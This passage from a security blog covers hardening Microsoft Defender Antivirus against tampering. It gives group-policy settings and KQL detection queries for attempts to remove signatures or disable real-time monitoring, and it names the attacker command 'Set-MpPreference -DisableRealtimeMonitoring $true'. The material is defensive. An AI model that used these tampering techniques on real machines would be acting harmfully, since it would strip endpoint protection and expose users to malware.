/en/current-limits-defender-av-tamper-protection/images/Intune-DisableLocalAdminMerge.png
Disable local admin merge

On Windows servers where there is currently no alternative to using group policies, so you must set the setting Configure local administrator merge behavior for lists to Disabled. This will prevent any local changes and enforce only those from the group policy.

/en/current-limits-defender-av-tamper-protection/images/Gpedit-ExclusionPath-Disabled.png
Configure local administrator merge behavior for lists

Sadly this setting is not a recommendation in the latest Windows security baselines (MSFT Windows Server 2022 - Defender Antivirus), the CIS Microsoft Windows Server 2019 Benchmark v1.2.1 nor in the MS Windows Defender Antivirus Security Technical Implementation Guide. Many enterprises base their security baseline settings on recommendations made in those documents and will ignore/not configure other settings.

Shared Signature Path

Set the “Define security intelligence location for VDI clients” setting to Disabled in your security baseline.

/en/current-limits-defender-av-tamper-protection/images/Gpedit-SharedSignaturesPath-Disabled.png
Define security intelligence location for VDI clients

Intune : Defender/SecurityIntelligenceLocation

Change default action for specific malware

To mitigate this attack vector you must disable the “Specify threats upon which default action should not be taken when detected” configuration option in your security baseline.

/en/current-limits-defender-av-tamper-protection/images/Gpedit-ThreatIDDefaultAction-Disabled.png
Specify threats upon which default action should not be taken when detected

Warning
This setting is currently not an configuration option available using Intune .

Tamper protection evolution

Microsoft is actively adding capabilities to tamper protection, e.g. the protection for automatic actions on detected threat was released in December of 2021.

So there is a good chance that they will add missing protection features in new releases of the AV engine and close the gaps.

Custom alerts

In addition to you hardening through configuration settings, I would encourage you to implement additional alerting. Since Microsoft Defender for Endpoint does not alert on tampering attempts, something that Microsoft has confirmed to me that they are working on, you should create your own alerting in the meantime. You can always use advanced hunting queries to create a custom detection rule and create more verbose alerting in your environment.

Removing security intelligence updates

Create a custom detection for this simple advanced hunting rule and you will get an alert every time someone tries to tamper with the installed security intelligence updates.

DeviceProcessEvents
| where FolderPath == @"C:\Program Files\Windows Defender\MpCmdRun.exe"
| where ProcessCommandLine has "RemoveDefinitions"
| project-reorder Timestamp, DeviceName, ActionType, FolderPath, InitiatingProcessAccountName, InitiatingProcessCommandLine

Disable signature updates

Microsoft Defender for Endpoint will report outdated AV definitions through the “Update Microsoft Defender Antivirus definitions” recommendation. I’m currently not aware of any advanced hunting query to check for successful signature updates.

/en/current-limits-defender-av-tamper-protection/images/UpdateMicrosoftDefenderAntivirusDefinitions.png

Tamper protection

The following advanced hunting query is an more advanced version of the query earlier in this blog post.

It reports all tampering attempts under the following conditions

  • The registry value name starts with Disable and the target value is 1, which would result in disabling a feature
  • If the registry value SpynetReporting is changed to 0
  • If the registry value is related to ThreatSeverityDefaultAction and the process attempting to do the change is neither C:\Windows\System32\svchost.exe -k GPSvcGroup, C:\Windows\System32\svchost.exe -k netsvcs -p -s gpsvc or C:\Windows\CCM\CcmExec.exe

This logic is necessary since SCCM and Group Policy baselines might attempt to apply your security baseline, which would trigger an alert for every device in your environment. And you should not remove those settings from your baseline, because they are important for any client where tamper protection in not yet enabled.

Using this query logic will prevent unnecessary alerts.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
// Detect tampering attempts on devices
// Written by Fabian Bader 01/2022
DeviceEvents
| where ActionType contains "TamperingAttempt"
| extend AdditionalFields = todynamic(AdditionalFields)
| extend TamperingAction = tostring(AdditionalFields.['TamperingAction'])
| extend Status = tostring(AdditionalFields.['Status'])
| extend Target = tostring(AdditionalFields.['Target'])
| extend TargetProperty = replace_regex(Target,@"(.*)\\(.*)",@"\2")
| extend OriginalValue = tostring(AdditionalFields.['OriginalValue'])
| extend TamperingAttemptedValue = tostring(AdditionalFields.['TamperingAttemptedValue'])
// For ThreatSeverityDefaultAction ignore changes made by GPO or Endpoint configuration manager (SCCM)
| where ( TargetProperty startswith "Disable" and TamperingAttemptedValue == 1 ) or ( TargetProperty == "SpynetReporting" and TamperingAttemptedValue == 0 ) or ( ( Target contains "ThreatSeverityDefaultAction" ) and ( InitiatingProcessCommandLine !in ("svchost.exe -k GPSvcGroup","svchost.exe -k netsvcs -p -s gpsvc") and InitiatingProcessFolderPath != @"C:\Windows\System32" ) and ( InitiatingProcessCommandLine != "CcmExec.exe" and InitiatingProcessFolderPath == @"C:\Windows\CCM" ))
| extend TargetProperty = iff( ( TargetProperty matches regex @"\d" ), strcat("ThreatSeverityDefaultAction-",TargetProperty), TargetProperty)
| project Timestamp, DeviceName, TamperingAction, Status, TargetProperty, OriginalValue, TamperingAttemptedValue,InitiatingProcessCommandLine,InitiatingProcessAccountName,InitiatingProcessAccountSid,ReportId,DeviceId
| sort by Timestamp
// @ = https://docs.microsoft.com/en-us/azure/data-explorer/kusto/query/scalar-data-types/string#verbatim-string-literals
// replace_regex = https://docs.microsoft.com/en-us/azure/data-explorer/kusto/query/replace-regex-function
// 
// DisableIntrusionPreventionSystem = Turn on network protection against exploits of known vulnerabilities
// DisableOnAccessProtection = Monitor file and program activity on your computer to be scanned
// DisableScriptScanning = Turn on script scanning
// DisablePrivacyMode = Privacy mode prevents users, other than administrators, from displaying threat history.
// DisableRealtimeMonitoring = Turn off real-time protection
// DisableIOAVProtection = Scan all downloaded files and attachments
// DisableBehaviorMonitoring = Turn on behavior monitoring
// DisableAntiSpyware = Turn off Windows Defender
// DisableRoutinelyTakingAction = Turn off Routinely Taking Action
// DisableScanOnRealtimeEnable = Turn on process scanning whenever real-time protection is enabled
// DisableBlockAtFirstSeen = Configure the 'Block at First Sight' feature
//
// SpynetReporting
// 0 = Disable MAPS (No Membership)
// 1 = Enable MAPS (Basic)
// 2 = Enable MAPS (Advanced)

Final thoughts

Tamper protection is a really powerfull feature and you should not hesitate to enable it. It protects you from many attacks that rely on disabling Microsoft Defender Antivirus before proceeding. Many threat actors today rely on something like Set-MpPreference -DisableRealtimeMonitoring $true in their tooling and would be stopped in the inital phase of the attack.

To fully implement secure AV configuration, Microsoft has to protect every important setting including exclusions. This will only be possible if they provide a central configuration option for clients and servers alike. They are already working on this and the public preview is definitely worth checking out.

As with every security feature it is important to test the limits and capabilities before and after implementing it.. As you could read in this blog, there are some configuration changes that are not protected by tamper protection and therefore you should implement additional mitigation techniques whereever possible. A good security baseline is worth a lot.

Also this test shows how important it is to understand your EDR solution. Microsoft Defender for Endpoint allows you to easily create custom detection rules based on advanced hunting queries. So in most cases, it is really easy to implement custom alerts.

And if you are want to let Microsoft know that you are missing something, give feedback. The little black box on the bottom right in the MDE portal is a great way to do this. Your feedback will be read and evaluated by the product team behind MDE. Trust me, it may look like a black box, but you will get feedback.

/en/current-limits-defender-av-tamper-protection/images/GiveFeedback.png
Give feedback

/en/current-limits-defender-av-tamper-protection/images/GiveFeedbackContactMe.png
Contact me